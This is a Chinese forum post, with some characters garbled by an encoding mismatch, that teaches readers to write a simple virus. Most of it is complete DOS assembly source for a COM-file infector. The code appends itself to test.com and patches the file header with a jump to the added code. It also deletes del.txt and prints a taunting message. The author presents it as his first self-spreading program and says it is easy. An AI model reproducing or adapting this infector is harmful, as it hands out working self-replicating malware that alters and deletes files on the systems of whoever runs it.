- 論壇徽章:
- 0
|
病毒的編寫是一種高深技術(shù),真正的病毒一般都具有:傳染性、隱藏性(又稱潛伏性)、破壞性,F(xiàn)在的病毒種類也不少,如平常的傳染可執(zhí)行文件的病毒、宏病毒等等。但原始的、破壞性最大的病毒還是傳染可執(zhí)行文件的病毒(像CIH病毒),而這些病毒一般都是用匯編語(yǔ)言編寫的。有許多人對(duì)病毒有著好奇和向往,但是往往又因?yàn)閰R編語(yǔ)言的難學(xué)等問題望而卻步。
這篇文章就是教給大家如何制作一個(gè)簡(jiǎn)單的程序,這個(gè)程序雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。
好啦,現(xiàn)在轉(zhuǎn)入正題,先講講病毒是如何傳染的,傳染后又如何在被染的文件中執(zhí)行的,其實(shí)道理非常簡(jiǎn)單:病毒一般將其代碼寫入執(zhí)行文件的尾部,然后使執(zhí)行文件在執(zhí)行時(shí)先執(zhí)行文件尾部的病毒代碼,然后再跳回原代碼處執(zhí)行。現(xiàn)在舉一個(gè)試?yán)M(jìn)行說(shuō)明:
;-----------------------------------------
;功能:感染當(dāng)前文件夾的test.com文件
; 并刪除當(dāng)前文件夾的del.txt文件
; 顯示預(yù)設(shè)的字符串
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代碼開始處
vstart:
POP SI ;得到當(dāng)前地址
MOV BP,SI ;保存當(dāng)前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;顯示預(yù)設(shè)字符串
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四個(gè)字節(jié)
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;開始復(fù)制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢復(fù)地址值
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;寫文件
INT 21h
JC error
MOV BX,AX ;文件句柄
MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀文件的前四個(gè)字節(jié)
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;準(zhǔn)備寫入病毒
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP ;定位到文件頭
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;將新的文件頭寫入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh ;關(guān)閉文件
INT 21h
error:
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET
DB 3 DUP (?)
vsizes DW 0
new4byte DB ‘M‘,0e9h,0,0
filename DB "test.com",0
delname DB "del.txt",0
message DB "He he he he!"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start
以上就是一個(gè)簡(jiǎn)單的可以傳染COM文件的程序代碼, 也是想當(dāng)初我所做的具有傳染性質(zhì)的第一個(gè)程序。如何???不難吧。
附:
COM文件執(zhí)行時(shí)將COM文件內(nèi)所的所有內(nèi)容COPY到內(nèi)存, 起始地址是100,然后進(jìn)行執(zhí)行
沒有任何有關(guān)節(jié)啦、段啦這些屬性,所以COM文件病毒是最簡(jiǎn)單最簡(jiǎn)單的病毒。 |
|